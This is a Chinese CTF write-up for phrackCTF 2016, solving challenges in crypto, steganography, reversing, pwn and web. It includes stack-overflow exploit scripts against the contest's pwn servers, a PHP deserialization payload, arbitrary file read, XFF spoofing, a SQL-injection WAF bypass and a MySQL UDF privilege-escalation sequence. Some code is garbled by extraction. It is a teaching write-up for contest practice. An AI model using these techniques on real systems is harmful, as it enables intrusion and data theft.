# pctf writeup

firesun

### base64

其实是 base32,解开后是 hex

Syntax District of the Astronomy Syntax Synt

## 关于 USS Lab

主办方实验室的缩写

## veryeasy

记事本打开就能看到,其实用 strings 更快

## 段子


编码而已,查查编码就出来了

## 手贱

33 位,多了一位,写个 python 生成 33 种可能,丢个 cmd5 批量检测,能发现就只能解出一个,就是答案

## 美丽的实验室 logo

stegsolve 打开,第二个 frame 里就是答案



## veryeasyRSA

有 p , q , e 求个 d 太容易了 给个取巧的方法 , python 下 gmpy2.invert(e, (p-1)\*(q-1))

## 神秘的文件

binwalk 文件能发现是一个磁盘文件,直接 mount 到一个文件夹就能看到一堆文件,写个 shell 按顺序 cat 出来,连起来就是 flag

## 公倍数

等差数列求和啊,3的倍数+5的倍数-15的倍数

## **Easy Crackme**

ida 打开,把里面的代码复制出来,小修改就能用了,改改直接输出 flag

#### **Secret**

在 http header 里, 我当年就是这么出签到题的

Response Headers view source

Connection: Keep-Alive

Content-Length: 26

Content-Type: text/html; charset=UTF-8

Date: Tue, 03 May 2016 02:38:00 GMT

Keep-Alive: timeout=5, max=98

Secret: Welcome\_to\_phrackCTF\_2016

Server: Apache/2.4.12 (Unix) OpenSSL/1.

X-Powered-By: PHP/5.6.8

### 爱吃培根的出题人

培根密码,小写 a 大写 b,查一下变换表就行了

## **Easy RSA**

rsa 的套路都是一样的,关键是分解 N,这题 N 这么小,自己写个脚本都分解的出来正常解密就行了

## **ROPGadget**

直接用 pwntools 就好了, pwntools 有个命令 asm

#### 取证

google 一下就出来了,第一个搜出来是 windows 下的工具。。。 得找 linux 下的

## 熟悉的声音

声音那就是摩斯了,解一下发现是无意义的字符串,那就古典密码跑一下好了,凯撒密码解密,发现一个有意义,就是答案了

print "XYYY YXXX XYXX XXY XYY X XYY YX YYXX".replace("X",".").replace("Y","-")

```
解出 JBLUWEWNZ
然后暴力凯撒密码,观察输出即可
for p in range(26):
    rs=""
    for i in 'JBLUWEWNZ':
        rs=rs+chr((ord(i)-0x40-1+p)%26+0x40+1)
    print rs
```

### **Baby's Crack**

```
 LODWORD(v6) = fopen(*(QWORD *)&argc, argv, "rb+", v19[1]); 
 v16 = v6;
 if ( v6 )
   LODWORD(v7) = fopen(*(_QWORD *)&argc, argv, "wb+", "tmp");
   while ( feof(*(_QWORD *)&argc, argv, v8, v16) == 0 )
     v17 = fgetc(*(_QWORD *)&argc, argv, v9, v16);
     if ( v17 != -1 && v17 )
       if ( v17 > 0x2F \&\& v17 <= 0x60 )
         v17 += 53;
       else if ( v17 <= '.' )
         v17 += v17 % 11;
       }
       else
         v17 -= v17 % 61;
       fputc(*(_QWORD *)&argc, argv, v15, (unsigned int)v17);
写个 python 解就好了
file r = open("flag.enc", 'rb')
data = file r.read()
file r.close()
result = ""
def get change(value):
   val = ord(value)
   if val > 0x2f and val <= 0x60:
       val += 53
   elif val <= ord('.'):
       val += val % 11
   else:
       val -= val % 61
   return chr(val)
```

import string

```
result = ""
for item in data:
    for i in string.printable:
        if get_change(i) == item:
            result += i

print data
print result.decode("hex")
```

### Help!!

这题我出过,只不过分两题出的,第一步是 zip 伪加密,其实就没密码,第二步是 docx 其实是个 zip,解压能找到一个图片就是 flag

#### **Shellcode**

整个字符串就是 shellcode ,自己写个 c 程序 ,放到 char 数组中 ,附一个函数指针跑起来 ,虽然程序会挂 ,不过可以用 gdb 调试 ,能发现挂之前 push 多个值 ,那些值就是 flag

```
89 e3
                               MOV
                                      ebx,esp
 112:
       68 7d 58 20 20
 114:
                                push
                                      0x2020587d
119:
       68 6e 6e 33 72
                                      0x72336e6e
                               push
       68 64 5f 70 77
                               push
                                      0x77705f64
       68 5f 67 6f 6f
                                      0x6f6f675f
                               push
       68 69 6e 5f 34
128:
                               push
                                      0x345f6e69
        68 7b 42 65 67
 12d:
                               push
                                      0x6765427b
       68 50 43 54 46
                               push
                                      0x46544350
   a = 0x2020587d
   b = 0x72336e6e
   c = 0x77705f64
   d = 0x6f6f675f
   e = 0x345f6e69
     = 0x6765427b
   q = 0x46544350
>>> l32(g)+l32(f)+l32(e)+l32(d)+l32(c)+l32(b)+l32(a)
PCTF{Begin_4_good_pwnn3r}X
```

#### PORT51

代码又丢了,其实很简单,自己写一个 socket 去 get 网页就行,在 connect 前其实可以先bind 端口,这样就能用指定端口去连接网页,需要注意两点就是 51 端口需要管理员权限,所处环境不能有 nat,比如别在虚拟机里搞,一过路由器源端口又变了

#### **LOCALHOST**

XFF 欺骗, 带着 xff 的 httpheader 访问就行, xff 为 127.0.0.1 即可

## Login

这题在 header 里有个提示, md5 开了 raw 输出, 那就好办多了, 这个网址直接讲了怎么做

http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

### **Medium RSA**

```
首先要从 pem 提取 N 和 e, 我竟然找不到工具, 自己写了一个 c 程序来提, 系统需要有
openssl
const
                 *pubkey
                                   "----BEGIN
                                                 PUBLIC
                                                            KEY----
         char
\nMDowDQYJKoZIhvcNAQEBBQADKQAwJgIhAMJjauXD2OQ/+5erCQKPGqxsC/bN
PXDr\nyigb/+l/vjDdAgEC\n----";
bio = BIO new(BIO s mem());
BIO puts(bio, pubkey);
rsa = PEM_read_bio_RSA_PUBKEY(bio, &rsa, NULL, NULL);
if (rsa == NULL) {
   printf("error");
   return -1;
RSA print fp(stdout, rsa, 0);
printf("%s\n", BN bn2hex(rsa->n));
printf("%s\n", BN bn2hex(rsa->e));
BIO free(bio);
RSA free(rsa);
pubkey 换成这题的就好了,代码里的是 hard 那题的
提出来的是 16 进制,自己转换一下
N=8792434826413240687527614051449993714505089366560259299241817164
7042491658461
e = 65537
继续常规路线,分解 N
直接上工具 yafu "factor(n)", 不用 yafu 能分解到死
p=275127860351348928173285174381581152299
q=319576316814478949870590164193048041239
继续用上面说的求逆法求出
```

d=10866948760844599168252082612378495977388271279679231539839049698 621994994673

正常解密就行,把文件读进来

infile = file("E:\\flag.enc", "rb")

print infile.read(65535).encode("hex")

然后 pow(c,d,n)

解出来的十六进制发现是奇数位,前面需要补一个0凑成偶数,解出来


♦ ♦ & [♦PCTF {256b\_i5\_m3dium}

( 乱码其实是填充 )

其实这题我们用了 N, d, 可以用 rsatools 直接生成私钥 pem, 那就可以直接用 openssl 去解密文件了(我一开始就是这么做的, 不过后面为了 hard rsa 这题手解了一遍)

#### **BrokenPic**

#### 先打开



这么整齐,不是异或就是 ebc 加密,我是当异或做了,每一行都异或上 D5 5F 7A....... 解出来一个文件,又是头被抹 0 了,修复 bmp 头,暴力宽度,得出宽度是 1366



扫二维码,没扫出来,我还写了一个脚本来修复二维码,把二维码保存为 370\*370 的 ewm.bmp import Image im = Image.open("ewm.bmp")

```
im.getpixel((0,30))
def mean(im,x1,y1):
   sum=0
  for i in range(x1,x1+10):
     for j in range(y1,y1+10):
        sum=sum+im.getpixel((i,j))
  if sum > 50:
     for i in range(x1,x1+10):
        for j in range(y1,y1+10):
          im.putpixel((i,j),0)
   else:
     for i in range(x1,x1+10):
        for j in range(y1,y1+10):
          im.putpixel((i,j),1)
for i in range(0,37):
  for j in range(0,37):
     mean(im,i*10,j*10)
im.save('test.bmp')
```


不过没有什么卵用,还是扫不出来,对比一下确实有写地方有偏差,还是懒,换一个做法

Stegsolve 打开,手机对着二维码,一个一个模式过,Gray bits 下扫出来的



PCTF{AES\_i5\_W3ak\_foR\_im4ge}

## 上帝之音



频域看不出啥,时域看上去像01信号,用python算均值提取好了import waveimport numpy as np

```
f = wave.open(r"e:\downloads\godwave.wav", "rb")
def mean(a):
  sum=0
  for i in a:
    sum + = abs(i)
  return sum/len(a)
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
str_data = f.readframes(nframes)
f.close()
wave data = np.fromstring(str data, dtype=np.short)
data=""
print wave_data[:64]
for i in range(nframes/64):
  if mean(wave_data[0+i*64:64+i*64])>5000:
    data=data+"1"
  else:
    data=data+"0"
print data
很明显提出来的不知道是什么鬼,再观察下波形,发现没有长0和长1,那应该是曼彻斯特
编码
```

这样的编码能保证双方的时序不会乱,把 data 小变换一下code=""tmp=""for i in data:

11011000100

```
if tmp=="":
tmp=i
else:
tmp=tmp+i
if tmp=="10":
```

```
code=code+"1"
elif tmp=="01":
    code=code+"0"
else:
    print "error"
tmp=""
print code
```

输出没 error, 应该就是这个编码, 把二进制写到文件, 发现是一个二维码 png



PCTF{Good\_Signal\_Analyzer}

## **FindKey**

记事本打开,发现是一个 pyc ,用 uncompyle2 反编译

```
firesun@Kali: ~
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
209,
32,
2,
181,
200,
171,
60,
108]
lag = raw_input('Input your Key:').strip()
if len(flag) != 17:
   print 'Wrong Key!!'
   sys. exit(1)
flag = flag[::-1]
for i in range(0, len(flag)):
   if ord(flag[i]) + pwda[i] & 255 != lookup[i + pwdb[i]]:
       print 'Wrong Key!!
       sys. exit(1)
```

自己写一个逆运算就出来

#### **Confused ARM**

先根据 hex 文件的格式,生成 bin 文件,用 ida 打开,主逻辑代码如下:

```
sub_80007F0(v1);
 sub 8000A50(115200);
 sub_8000AA8(1073821696, 64);
 sub_8000560(&dword_2000000C, dword_2000026C);
 while (1)
   if ( byte_20000000 )
   {
     sub 8000BA4(
       "Key is :0x\%08x,0x\%08x,0x\%08x,0x\%08x\r\n",
       dword 2000000C,
       dword_20000010,
       dword_20000014,
       dword_20000018);
     byte_20000000 = 0;
   if (!sub_80007E2(1073809408, 2))
     sub_800055C(&dword_2000000C, dword_2000026C);
     sub_8000248((int)dword_2000001C, (int)&dword_2000031C, (int)&dword_2000000C);
     sub_8000AA8(1073821696, 64);
     sub_8000BA4("Fl4g 1s :PCTF{%08x%08x%08x%08x}\r\n", dword_2000031C, dword_20000
 }
由 hex 文件知道, bin 的入口点为 0x80000ed, 也就是代码的 0x80000ec 的位置, 如下:
                                                                   ; CODE XREF: ROM_in:
:080000EC
                           loc_80000EC
:080000EC
                                                                   ; DATA XREF: ROM_in:
:080000EC DF F8 0C D0
                                           LDR.W
                                                           SP, =stack_top_20000730
:080000F0 00 F0 4A F8
                                                          loc_8000<mark>188</mark>
                                           ΒI
:080000F4
```

在 loc 8000188 处:进行了部分 ram 数据的初始化,然后跳到 main 中执行。如下

```
ROM:08000188
   ROM: 08000188
                                                              loc_8000188
                                                                                                                                           ; CODE XREF: ROM:08
                                                                                                                           R4, =unk_8001168
 * ROM:08000188 06 4C
                                                                                             LDR
   ROM: 0800018A 07 4D
                                                                                             LDR
                                                                                                                           R5, =unk_8001188
- ROM:0800018C 06 E0
                                                                                             В
                                                                                                                           loc_800019C
   ROM:0800018E
   ROM:0800018E
   ROM: 0800018E
                                                              loc_800018E
                                                                                                                                           ; CODE XREF: ROM:08
POM:0800018E E0 68
                                                                                                                           R0, [R4,#0xC]
                                                                                             ORR.W
   ROM: 08000190 40 F0 01 03
                                                                                                                           R3, R0, #1
   ROM: 08000194 94 E8 07 00
                                                                                             LDMIA.W
                                                                                                                           R4, {R0-R2}
 * ROM:08000198 98 47
                                                                                             BLX
                                                                                                                           R3
 * ROM:0800019A 10 34
                                                                                             ADDS
                                                                                                                           R4, #0x10
   ROM:0800019C
                                                                                                                                           ; CODE XREF: ROM:08
   ROM:0800019C
                                                              loc_800019C
POM:0800019C AC 42
                                                                                             CMP
                                                                                                                           R4, R5
ROM:0800019E F6 D3
                                                                                             BCC
                                                                                                                           loc 800018E
                                                                                                                           entry_point_80000F4
   ROM: 080001A0 FF F7 A8 FF
   ROM: 080001A0
                                                                                            DCD unk_8001168 ; DATA XREF: ROM:lc
 ROM:080001A4 68 11 00 08
                                                              off_80001A4
 * ROM:080001A8 88 11 00 08
                                                              off 80001A8
                                                                                            DCD unk_8001188
                                                                                                                                          ; DATA XREF: ROM:08
   ROM: 080001AC
在初始化中,根据 0x8001168 处的值,来进行,如下:
                                                                                                                                      ; DATA X
   dword 8001168
                                                       DCD 0x8001188
                                                                                                                                         ROM: of
                                                       DCD 0x20000000
                                                       DCD 0x26C
                                                       DCD 0x80001EA
                                                       DCD 0x80013E8
                                                       DCD 0x2000026C
                                                       DCD 0x4C4
                                                       DCD 0x8000BD4
效果类似于,执行如下两个函数:
         sub 80001EA((char*)byte 8001188, (char *)byte 20000000, 0x26c);
         sub 8000BD4(0, (DWORD *)byte 2000026C, 0x4c4);
然后在 main 函数中,这几个函数是对,0x2000012c 处的一个 256 大小的表进行一系列
索引,如下:
      v10 = (byte_2000012C[(unsigned __int8)v5] | (byte_2000012C[v4 >> 24] << 24) | (byt
v11 = (byte_2000012C[(unsigned __int8)v6] | (byte_2000012C[v5 >> 24] << 24) | (byt
v12 = byte_2000012C[(unsigned __int8)v8] | (byte_2000012C[v6 >> 24] << 24);
v13 = byte_2000012C[(v5 >> 16) & 0xFF];
       v14 = (byte 2000012C[(unsigned int8)v4] | (byte 2000012C[v8 >> 24] << 24) | (byte 2000012C[v8 >> 24] << 24
       v15 = 27 * ((v10 >> 7) & 0x1010101) ^ 2 * (v10 & 0x7F7F7F7F);

v16 = 27 * ((v15 >> 7) & 0x1010101) ^ 2 * (v15 & 0x7F7F7F7F);

v17 = (v12 | (v13 << 16) | (byte_2000012C[(unsigned __int16)v4 >> 8] << 8)) ^ *(_[
       v18 = 27 * ((v16 >> 7) & 0x1010101) ^ 2 * (v16 & 0x7F7F7F7F);
       v19 = v10 ^ v18;
看似像一个标准的加密函数,但是不敢确定,于是打印了下该表中的数据,发现是 aes box ,
在对比流程,发现跟 aes 的流程很类似,然而在加密时,密钥扩展函数 sub 8000560 执行
后,在加密函数 sub 8000248 时,仍然用的是 byte 2000000C,而不是扩展密钥
byte 2000026C, 根据提示, 应该就是这里的使用错误, 如下:
          sub_800055C((<mark>int</mark>)&dword_2000000C, (<mark>int</mark>)dword_2000026C);
          sub_8000248((<mark>int</mark>)dword_2000001C, (<mark>int</mark>)&dword_2000031C, (<mark>int</mark>)&dword_2000000C);
将其更正,如下:
```

```
sub_8000560 ((DWORD*)byte_2000000C, (DWORD*)byte_2000026C);
sub_8000248((DWORD*)byte_2000001C, (DWORD*)byte_2000031C, (DWORD*)byte_2000026C);
printf("F14g ls :PCTF \{\%08x\%08x\%08x\%08x\%08x\}\r\n", *(DWORD*)byte_2000031C, *(DWORD*)byte_2000032
```

#### 最终得到 flag:

## **Tell Me Something**

简单的缓冲区溢出,直接覆盖返回地址为打印flag的地址即可。

```
int __cdecl main(int argc, const char **argv, const char **envp)
  char v4[136]; // [sp+8h] [bp-88h]@1
  write(1, "Input your message:\n", 0x14uLL);
  read(0, 👊, 256uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
脚本如下:
from zio import *
from pwn import *
target = "./questbook"
target = ("pwn.phrack.top", 9876)
elf path = "./guestbook"
def get io(target):
    r m = COLORED(RAW, "green")
   w m = COLORED(RAW, "blue")
    io = zio(target, timeout = 9999, print read = r m, print write = w m)
    return io
def get elf info(elf path):
    return ELF(elf path)
```

```
def pwn(io):
    #sample
    elf_info = get_elf_info(elf_path)

#io.gdb_hint()
    good_name_addr = 0x400620
    payload = 'a'*0x88 + l64(good_name_addr)
    io.writeline(payload)

io.interact()

io = get_io(target)
    pwn(io)
```

#### **Smashes**

这是道以前做过的题目,直接利用 stack smash 打印的错误信息是显示路径来打印 flag,虽然在这里 flag 被覆盖了,但是 flag 在内存中有个备份。可以打印出来:

```
int64 index; // rbx@2
   int v2; // eax@3
   char v4[296]; // [sp+0h] [bp-128h]@1
   __int64 v5; // [sp+108h] [bp-20h]@1
   u5 = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
9
  LODWORD(v0) = _IO_gets(v4);
   if ( !v0 )
3 LABEL_9:
      _exit(1);
   index = OLL;
   __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
   while (1)
8
     v2 = _I0_getc(stdin);
if ( v2 == -1 )
9
0
1
       goto LABEL_9;
      if ( v2 == '\n' )
3
       break;
4
      aPctfHereSTheF1[index++] = v2;
     if ( index == 32 )
ó
       goto LABEL_8;
8
   memset((void *)((signed int)index + 0x600D20LL), 0, (unsigned int)(32 - index));
9 LABEL 8:
  puts("Thank you, bye!");
0
   return *MK_FP(__FS__, 40LL) ^ v5;
1
脚本如下:
from zio import *
from pwn import *
target = "./smashes"
```

```
target = ("pwn.phrack.top", 9877)
elf path = "./smashes"
def get io(target):
    r_m = COLORED(RAW, "green")
   w m = COLORED(RAW, "blue")
    io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
    return io
def get_elf_info(elf_path):
    return ELF(elf_path)
def pwn(io):
    #sample
    elf info = get_elf_info(elf_path)
    flag addr = 0x600D20
    flag_addr = 0x400d20
    name = 'a' * 0x128
    name = 'a' * (0x7ffff27e2e48 - 0x7ffff27e2c30) + 164(flag_addr)
    #name = 'a' * (0x7ffff27e31b0 - 0x7ffff27e2c30) + I64(flag addr)
    io.read until("? ")
    io.writeline(name)
    current 0x7ffff27e2c30
    0x7ffff27e2e48 --> 0x7ffff27e3212 -> "./smashes"
    0x7ffff27e31b0 --> 0x7ffff27e3fee -> "./smashes"
    ....
    io.gdb_hint()
    io.read until("flag: ")
    padding = "nihao"
    io.writeline(padding)
    io.interact()
io = get io(target)
pwn(io)
```

## 炫酷的战队 logo

其实是两个文件合并的,一个是 bmp,一个是 png,bmp 还把头部抹 0 了,修复一下头部就能看到 logo,不过这个是没什么卵用的图,直接看 png,这个 png 的头部也是被破坏了,找一个文档对着头部看就知道长宽给抹掉了,可以用 crc32 校验去算长宽,不过我懒,直接暴力,把长度定高一点 0x0100 吧,宽度给了部分了,肯定是 0x01xx,暴力宽度,写个 py 脚本

for i in range(16,256):

print hex(i)[2:]

b=hex(i)[2:]

a=('89504E470D0A1A0A000000D49484452000001'+b+'000001000802000000 F37A5E12000000017352474200AECE1CE90000000467414D410000B18F0BFC6105 000000097048597300000EC300000EC301C76FA8640000072549444154785EEDDA B996DD380E0050E70E2B745491B3F9FFCF1B2D04454214A537AF8EDB5D736F262 E00A807CAEEE5070000000000000000DFDCC7E77F569F1FE5F9EFF2F3D7EFADB CC54D85B1F2F7AF9F6564E0EF3E2CFC059A3B77185EAB729D0ECBC51AEE0E5B94E 18AE64A96F9947194EBDEF5AE54458E76339DD53C75E129F35D90B2A13FF670F04 5FD516E4E128B6719F3618F0439F85794FF3FC5AF255665EB3EF16641702B7D410E 6DF39DFB74B5F4EAE5EED51661B8A25E903A7B64BBCC3535DF35983D020E2B9C5 FBDB2E57C8CC6BCE252519F6638F89AA8E4598C47ABD361DBB3F667FC82F217AF C51FFCB2ABB2A6CECE7F0C78D3E9261D6D5C7AAFE9EBB61B3F3E874D9E3B36760 F1BB94C1E17E361AEE47657BBFF54E7B27B50407759EF945DD3227BA34FC278F03 551FFB35262F52B19EB1BDAB479BEA0FCC50BF1E3A73CBFC7BCE6CD9A606E7093 A23BB7A1DAD5779D18BBD2058EFDC37B5D2663EE3E57BD491FFBD275E1E30A8B 1263585053C3C5FCA6965112A6733C90236CCE8365A468266A998B18EE17AF3E3F 2E2A2DA5C6535F469242943DBF7F97028E439FCB3F6B3336F5366FEE71FC08D56E 3EDB574D6B8277B57D5D447BAF43CF7A7515BBD2C20830DC5F26CBDC835CCDC DDB2C253EAF7033AD67D11EFE52BAD0A3B2F6894B39C2260DE6A831514FDC588 F735ABF8CE63CFDF1E3695A6F0A7144887CF12A73AE919A31BE925544791AFF51E DB1EC6611BCE7D48DD1BCFB483CDDF7616EFA22E2B7EA92BEC71FE4EA8BEB86E 615F665A41A0F83F82365595D54B7352E736C72844D3F385CB228E311BF9CAC2C 8B73C66C0ED2CFC7D329472B85682394A912EDAAE056EC3EC78B81A7F1FBB936F 2A61F9ED604EF4ADD57A566BDEFC3DCD6C5287EEAFC787C90ABBF499B6715E63 206AB23D0229DE164504655C34C830C23F4834D3D8BBAB21F3EECE9E29CE99DD 6DDFD7C3C0D0F1252883E4254B33EE55C23A38C6D8CE7F1FB5DC7BE2286CBBA6 951F0A6D47D9BA6E7EA746DCB2BB9AD8BFE5634CA4433FE20577F9336CF2BDC0 DD747F18B2761066534E6B3BBE19A3CD854B559276AF9D95E774CC72972C87E3E 9E5E29F522C3F29C738D8C321E11D6A7A7F1633CA5CBDB57FBD8B42E78C7A8AF 5BD1ADB75DD85F866AD4D6D5BEA74EDDE72A2BBAF9C715861C244ABC2872605

4C6613EBBBBBEEDB98AA3BAC532358F9E635C9D759F8FA769A929C4B9CAAEC28 7E76E16D5ED7D4DB7F14B5DEDCAC569FBBE6C5A14BC69D0D7BDA689BB355FF7 3F3C1D616F73E5AFC2E66ED732DF668F42CBDABA7B58E1582AE3E357933685BF1 2CBF27D1FD711452E73837A7FFEFA8C64CDC24DAA26658DD5D35ACB9E589333A C6A4DAB69B06365AE30069EC76F468FC579FBFE3CAD09DE156D376BB4DAE9BDB 6D18F45FDE8A9AD3B65B29D9BE74A57BA9AEE8A123A35C4C5D671C1452A63146 2B67D374E7C1CED3C5FE6061BEBAED3EB4E8BE3BF90F76FE6483A5022C49AF10F DABCE369B0E16FB1BA3EC1E622FEF81DAE62FBBE715A13BC2BFAF3AED1CEFDDFF 779EDE8343CBE154599CC73D7B9D295EE5CEFCA33EDF6F3AE625870712AA38F32 DBDA49C9FB63A54F4417346D3CE662A2597DAC5DE2F7F3F1347C9F211D769061 53D34C8335199BF3B5B15E8E5F27AA76C53E3BAD09FED5CA0DC837866F2BBE797 FECBBB67FAC7D46F9C62EFF8AC1F7F4673FA3F52FBCFEA0E65B2BF7CA67F4FFC33 FF119D55BF0CF69FEEDDDE1A54BF97E843FE66B4BBD8AF6C7FFA11E000000000000 49454E44AE426082').decode("hex")

```
f=open("e:\\1\\"+b+".png","wb")
f.write(a)
f.close()
```

然后呢,也就200张图片,一个一个看好了,快速翻一下就找到了,宽度0x01c2(win7的图片查看器允许crc校验错误)



#### **Classical Crackme**

直接 Reflector 反编译就好,其实有壳的,不过这题不脱也能看,str3 解 base64 就是 flag

```
private void button1_Click(Object sender, EventArgs): Void ×

private void button1_Click(object sender, EventArgs e)
{
    string s = this.textBox1.Text.ToString();
    string str2 = Convert.ToBase64String(Encoding.Default.GetBytes(s));
    string str3 = "UENURntFYTV5X0RvX05ldF9DcjRjazNyfQ==";
    if (str2 == str3)
    {
        MessageBox.Show("注册成功!", "提示", MessageBoxButtons.OK);
    }
    else
    {
        MessageBox.Show("注册失败!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Hand);
    }
}
```

## 神盾局的秘密

http://web.phrack.top:32779/showimg.php?img=c2hpZWxkLmpwZw==

```
任意文件读取,可以把源码都搞到,主站有一个反序列化漏洞,构造一个反序列值传过来就
好
view-source:http://web.phrack.top:32779/showimg.php?img=aW5kZXgucGhw
<?php
   require once('shield.php');
   x = \text{new Shield}(x)
   isset(\$\_GET['class']) \&\& \$g = \$\_GET['class'];
   if (!empty($g)) {
       x = unserialize(q);
   }
   echo $x->readfile();
?>
view-
source:http://web.phrack.top:32779/showimg.php?img=c2hpZWxkLnBocA==
<?php
   //flag is in pctf.php
   class Shield {
       public $file;
       function construct($filename = ") {
            $this -> file = $filename:
       }
       function readfile() {
           if (!empty($this->file) && stripos($this->file,'..')===FALSE
            &&
                              stripos($this->file,'/')===FALSE
                                                                          &&
stripos($this->file,'\\')==FALSE) {
               return @file get contents($this->file);
           }
       }
   }
?>
构造一个序列化的值 Shield 类来读取 pctf.php
```

http://web.phrack.top:32779/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

#### **IN A Mess**

http://web.phrack.top:32783/index.phps 是源码

那就先绕过吧 绕过方法很多,随便举一种

http://web.phrack.top: 32783/index.php?id="0"&a=php://input&b=%0023456gdfgdfh

post 内容是 1112 is a nice lab!

得到 Come ON!!! {/^HT2mCpcvOLf}

访问 http://web.phrack.top:32783/%5eHT2mCpcvOLf/

发现了一个注入点

http://web.phrack.top:32783/%5eHT2mCpcvOLf/index.php?id=2

直接打印了查询的语句 SELECT \* FROM content WHERE id=2

有个简单的 waf, 随便试试就能绕过

http://web.phrack.top:32783/%5eHT2mCpcvOLf/index.php?id=1/\*123\*/or/\*123\*/1 =1%23

可 union

 $\frac{\text{http://web.phrack.top:}32783/\%5eHT2mCpcvOLf/index.php?id=0/*123*/uniuniononononomon/*123*/selselectect/*123*/1,2,3%23}{\text{http://web.phrack.top:}32783/\%5eHT2mCpcvOLf/index.php?id=0/*123*/uniunionononomon/*123*/selselectect/*123*/1,2,3%23}{\text{http://web.phrack.top:}32783/\%5eHT2mCpcvOLf/index.php?id=0/*123*/uniuniononomon/*123*/selselectect/*123*/1,2,3%23}{\text{http://web.phrack.top:}32783/\%5eHT2mCpcvOLf/index.php?id=0/*123*/uniuniononomon/*123*/selselectect/*123*/1,2,3%23}{\text{http://web.phrack.top:}32783/\%5eHT2mCpcvOLf/index.php?id=0/*123*/uniunionomon/*123*/selselectect/*123*/1,2,3%23}{\text{http://web.phrack.top:}32783/\%5eHT2mCpcvOLf/index.php?id=0/*123*/uniunionomon/*123*/selselectect/*123*/1,2,3%23}{\text{http://web.phrack.top:}32783/\%5eHT2mCpcvOLf/index.php?id=0/*123*/uniunionomon/*123*/selselectect/*123*/1,2,3%23}{\text{http://web.phrack.top:}32783/\%5eHT2mCpcvOLf/index.php?id=0/*123*/uniunionomon/*12$ 

既然能 union,直接列表,读数据库就能找到 flag

#### Smali

可以直接看,也不是看不懂,不过其实可以转成java代码。

先用 baksmali 把 smali 打包成 dex , 注意 smali 要遵守他的包规则 , 放在 net 目录的 bluelotus 目录的 tomorrow 目录的 easyandroid 目录下 , 再用 baksmali 打包 , 生成 dex 然后 dex2jar 转 dex 为 jar , 最后 jd-gui 打开 jar

```
🍎 Java Decompiler - Crackme.class
<u>F</u>ile <u>E</u>dit <u>N</u>avigate Se<u>a</u>rch <u>H</u>elp
😑 | 🔔 🔗 | <table-cell-rows>
 classes_dex2jar.jar ×
 ⊟ ⊕ net.bluelotus.tomorrow.easyandroid
                                        Crackme.class ×
                                         package net.bluelotus.tomorrow.easyandroid;
      ☐ G Crackme
                                        import android.util.Base64;
         --- 

Crackme()
                                         public class Crackme
         --- ■ GetFlag(String) : String
          decrypt(byte[], String) : String
                                          private String str2 = "cGhyYWNrICBjdGYgMjAxNg==";
                                            GetFlag("sSNnx1UKbYrA1+MOrdtDTA==");
                                          private String GetFlag(String paramString)
                                            byte[] arrayOfByte = Base64.decode(paramString.getBytes(), 0);
String str = new String(Base64.decode(this.str2.getBytes(), 0));
System.out.println(decrypt(arrayOfByte, str));
return null;
                                          private String decrypt(byte[] paramArrayOfByte, String paramString)
                                              SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramString.getBytes(), "AES");
                                              SecretweySpec JoacisecretweySpec = new SecretweySpec(paramstrin
Cipher localCipher = Cipher.getInstance("AES/ECB/NoFadding");
localCipher.init(2, localSecretKeySpec);
String str = new String(localCipher.doFinal(paramArrayOfByte));
localObject = str;
label54: return localObject;
                                            catch (NoSuchPaddingException localNoSuchPaddingException)
                                              localNoSuchPaddingException.printStackTrace();
复制出来小修改一下就能在 j2se 下运行了
下面代码一定要 Java8,不然的话 base64 部分需要修改
import java.io.UnsupportedEncodingException;
import java.util.Base64;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
public class Crackme {
     private String str2 = "cGhyYWNrlCBjdGYgMjAxNg==";
    public static void main(String[] args) {
         new Crackme();
    }
    public Crackme() {
         GetFlag("sSNnx1UKbYrA1+MOrdtDTA==");
    }
```

```
private String GetFlag(String paramString) {
     byte[] arrayOfByte = Base64.getDecoder().decode(paramString);
     String str = "";
     try {
        str = new String(Base64.getDecoder().decode(this.str2), "utf-8");
     } catch (UnsupportedEncodingException e) {
       // TODO Auto-generated catch block
        e.printStackTrace();
     }
     System.out.println(decrypt(arrayOfByte, str));
     return null;
  }
  private String decrypt(byte[] paramArrayOfByte, String paramString) {
     String localObject = null;
     try {
                SecretKeySpec
                                       localSecretKeySpec
                                                                              new
SecretKeySpec(paramString.getBytes(), "AES");
        Cipher localCipher = Cipher.getInstance("AES/ECB/NoPadding");
        localCipher.init(2, localSecretKeySpec);
        String str = new String(localCipher.doFinal(paramArrayOfByte));
        localObject = str;
        return localObject;
     } catch (NoSuchPaddingException localNoSuchPaddingException) {
        localNoSuchPaddingException.printStackTrace();
     } catch (NoSuchAlgorithmException localNoSuchAlgorithmException) {
     } catch (IllegalBlockSizeException localIllegalBlockSizeException) {
     } catch (BadPaddingException localBadPaddingException) {
     } catch (InvalidKeyException localInvalidKeyException) {
     }
     return "";
  }
}
```

```
Problems @ Javadoc Declaration Console Signature Console Signatur
```

#### RE?

ida 打开就能看到有个 getflag 函数 udf.so, mysql 的自定义函数扩展,提权经常用,这题不需要逆 直接 mysql 挂载这个 so 就行了

首先 show variables like "%plugin%";查找一下插件库路径

把 udf.so 复制过来复制到/usr/lib/mysql/plugin

然后在 mysql 执行 create function getflag returns string soname "udf.so";加载这个函数

然后 select getflag();

### Classical CrackMe2

这题有一个 Confuser 壳,用 de4dot 去掉,再反编译看起来就舒服多了,不过不去掉也能做,直接分析就行

```
private void button_0_Click(object sender, EventArgs e)
{
    string text = this.textBox_0.Text;
    string str2 = smethod_0(text);
    if ((text != "") && (str2 == smethod_5<string>(0x7e0ef121))))
{
        MessageBox.Show(smethod_4<string>(0x270beb4e), smethod_4<string>(0xfe81be7a), MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
    }
    else
    {
